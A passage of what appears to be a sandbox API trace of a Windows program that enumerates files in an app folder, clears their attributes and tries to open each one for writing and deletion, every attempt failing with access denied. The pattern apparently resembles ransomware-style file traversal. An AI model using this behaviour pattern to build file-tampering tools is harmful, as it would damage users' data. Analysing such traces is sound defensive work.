	[0091.930] wcscat (in: _Dest=0x4e33390, _Source="logo.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\logo.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\logo.scale-100.png"
	[0091.930] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\logo.scale-100.png")) returned 0x20
	[0091.932] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\logo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.932] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\logo.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.933] GetLastError () returned 0x5
	[0091.933] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\logo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.933] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33390) returned 1
	[0091.933] FindNextFileW (in: hFindFile=0x2d87ef8, lpFindFileData=0x475b7e8 | out: lpFindFileData=0x475b7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdff5463, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdff5463, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogo.scale-100.png", cAlternateFileName="")) returned 1
	[0091.933] wcscmp (_String1="smalllogo.scale-100.png", _String2=".") returned 1
	[0091.933] wcscmp (_String1="smalllogo.scale-100.png", _String2="..") returned 1
	[0091.933] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491e7f8
	[0091.933] wcscpy (in: _Dest=0x491e7f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images"
	[0091.933] wcscat (in: _Dest=0x491e7f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\"
	[0091.933] wcscat (in: _Dest=0x491e7f8, _Source="smalllogo.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\smalllogo.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\smalllogo.scale-100.png"
	[0091.933] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\smalllogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\smalllogo.scale-100.png")) returned 0x20
	[0091.937] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\smalllogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.937] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\smalllogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\smalllogo.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.937] GetLastError () returned 0x5
	[0091.937] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\smalllogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.937] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e7f8) returned 1
	[0091.937] FindNextFileW (in: hFindFile=0x2d87ef8, lpFindFileData=0x475b7e8 | out: lpFindFileData=0x475b7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdff5463, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdff5463, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x477, dwReserved0=0x0, dwReserved1=0x0, cFileName="splashscreen.scale-100.png", cAlternateFileName="")) returned 1
	[0091.937] wcscmp (_String1="splashscreen.scale-100.png", _String2=".") returned 1
	[0091.937] wcscmp (_String1="splashscreen.scale-100.png", _String2="..") returned 1
	[0091.937] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491cb98
	[0091.937] wcscpy (in: _Dest=0x491cb98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images"
	[0091.937] wcscat (in: _Dest=0x491cb98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\"
	[0091.937] wcscat (in: _Dest=0x491cb98, _Source="splashscreen.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\splashscreen.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\splashscreen.scale-100.png"
	[0091.937] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\splashscreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\splashscreen.scale-100.png")) returned 0x20
	[0091.941] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\splashscreen.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.941] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\splashscreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\splashscreen.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.942] GetLastError () returned 0x5
	[0091.943] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\splashscreen.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.943] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491cb98) returned 1
	[0091.943] FindNextFileW (in: hFindFile=0x2d87ef8, lpFindFileData=0x475b7e8 | out: lpFindFileData=0x475b7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdff5463, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdff5463, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="storelogo.scale-100.png", cAlternateFileName="")) returned 1
	[0091.943] wcscmp (_String1="storelogo.scale-100.png", _String2=".") returned 1
	[0091.943] wcscmp (_String1="storelogo.scale-100.png", _String2="..") returned 1
	[0091.943] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491d808
	[0091.943] wcscpy (in: _Dest=0x491d808, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images"
	[0091.943] wcscat (in: _Dest=0x491d808, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\"
	[0091.943] wcscat (in: _Dest=0x491d808, _Source="storelogo.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\storelogo.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\storelogo.scale-100.png"
	[0091.943] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\storelogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\storelogo.scale-100.png")) returned 0x20
	[0091.946] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\storelogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.946] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\storelogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\storelogo.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.947] GetLastError () returned 0x5
	[0091.947] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\storelogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.947] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d808) returned 1
	[0091.947] FindNextFileW (in: hFindFile=0x2d87ef8, lpFindFileData=0x475b7e8 | out: lpFindFileData=0x475b7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdff5463, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdff5463, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="storelogo.scale-100.png", cAlternateFileName="")) returned 0
	[0091.947] FindClose (in: hFindFile=0x2d87ef8 | out: hFindFile=0x2d87ef8) returned 1
	[0091.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x475b7e8) returned 1
	[0091.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c8e60) returned 1
	[0091.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c8b60) returned 1

Thread:
	id = 596
	os_tid = 0x187c

	[0077.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2ddaf78
	[0077.499] wcscpy (in: _Dest=0x2ddaf78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js"
	[0077.499] wcscat (in: _Dest=0x2ddaf78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\"
	[0077.499] wcscat (in: _Dest=0x2ddaf78, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\*"
	[0077.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475ba50
	[0077.499] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\*", lpFindFileData=0x475ba50 | out: lpFindFileData=0x475ba50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdff5463, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2d5d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87e78
	[0081.775] wcscmp (_String1=".", _String2=".") returned 0
	[0081.775] FindNextFileW (in: hFindFile=0x2d87e78, lpFindFileData=0x475ba50 | out: lpFindFileData=0x475ba50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdff5463, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2d5d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.775] wcscmp (_String1="..", _String2=".") returned 1
	[0081.775] wcscmp (_String1="..", _String2="..") returned 0
	[0081.775] FindNextFileW (in: hFindFile=0x2d87e78, lpFindFileData=0x475ba50 | out: lpFindFileData=0x475ba50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdff5463, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdff5463, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x233, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.js", cAlternateFileName="")) returned 1
	[0081.775] wcscmp (_String1="default.js", _String2=".") returned 1
	[0081.775] wcscmp (_String1="default.js", _String2="..") returned 1
	[0081.775] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4717b30
	[0081.775] wcscpy (in: _Dest=0x4717b30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js"
	[0081.776] wcscat (in: _Dest=0x4717b30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\"
	[0081.776] wcscat (in: _Dest=0x4717b30, _Source="default.js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\default.js") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\default.js"
	[0091.918] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\default.js" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\default.js")) returned 0x20
	[0091.926] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\default.js", dwFileAttributes=0x20) returned 0
	[0091.926] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\default.js" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\default.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.926] GetLastError () returned 0x5
	[0091.926] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\default.js", dwFileAttributes=0x20) returned 0
	[0091.926] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717b30) returned 1
	[0091.926] FindNextFileW (in: hFindFile=0x2d87e78, lpFindFileData=0x475ba50 | out: lpFindFileData=0x475ba50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdff5463, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdff5463, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x233, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.js", cAlternateFileName="")) returned 0
	[0091.927] FindClose (in: hFindFile=0x2d87e78 | out: hFindFile=0x2d87e78) returned 1
	[0091.927] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x475ba50) returned 1
	[0091.927] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddaf78) returned 1
	[0091.927] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dda9b8) returned 1

Thread:
	id = 597
	os_tid = 0x1880

	[0077.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x4751b98
	[0077.499] wcscpy (in: _Dest=0x4751b98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.499] wcscat (in: _Dest=0x4751b98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0077.500] wcscat (in: _Dest=0x4751b98, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0077.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475bcb8
	[0077.500] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x475bcb8 | out: lpFindFileData=0x475bcb8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5e205736, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x10032a71, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x10032a71, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87c78
	[0081.775] wcscmp (_String1=".", _String2=".") returned 0
	[0081.775] FindNextFileW (in: hFindFile=0x2d87c78, lpFindFileData=0x475bcb8 | out: lpFindFileData=0x475bcb8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5e205736, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x10032a71, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x10032a71, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.775] wcscmp (_String1="..", _String2=".") returned 1
	[0081.775] wcscmp (_String1="..", _String2="..") returned 0
	[0081.775] FindNextFileW (in: hFindFile=0x2d87c78, lpFindFileData=0x475bcb8 | out: lpFindFileData=0x475bcb8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x10032a71, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x10032a71, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x10032a71, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 1
	[0081.775] wcscmp (_String1="Autogen", _String2=".") returned 1
	[0081.775] wcscmp (_String1="Autogen", _String2="..") returned 1
	[0081.775] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x47cc560
	[0081.775] wcscpy (in: _Dest=0x47cc560, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0081.775] wcscat (in: _Dest=0x47cc560, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0081.775] wcscat (in: _Dest=0x47cc560, _Source="Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0091.931] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x5026850
	[0091.931] wcscpy (in: _Dest=0x5026850, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0091.931] wcscat (in: _Dest=0x5026850, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\"
	[0091.931] wcscat (in: _Dest=0x5026850, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*"
	[0091.931] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030570
	[0091.931] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*", lpFindFileData=0x5030570 | out: lpFindFileData=0x5030570*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x10032a71, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x10032a71, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x10032a71, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b228
	[0091.934] wcscmp (_String1=".", _String2=".") returned 0
	[0091.934] FindNextFileW (in: hFindFile=0x477b228, lpFindFileData=0x5030570 | out: lpFindFileData=0x5030570*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x10032a71, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x10032a71, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x10032a71, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.935] wcscmp (_String1="..", _String2=".") returned 1
	[0091.935] wcscmp (_String1="..", _String2="..") returned 0
	[0091.935] FindNextFileW (in: hFindFile=0x477b228, lpFindFileData=0x5030570 | out: lpFindFileData=0x5030570*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x10032a71, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x10032a71, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x103c648d, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x8cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeCache_64", cAlternateFileName="JSBYTE~1")) returned 1
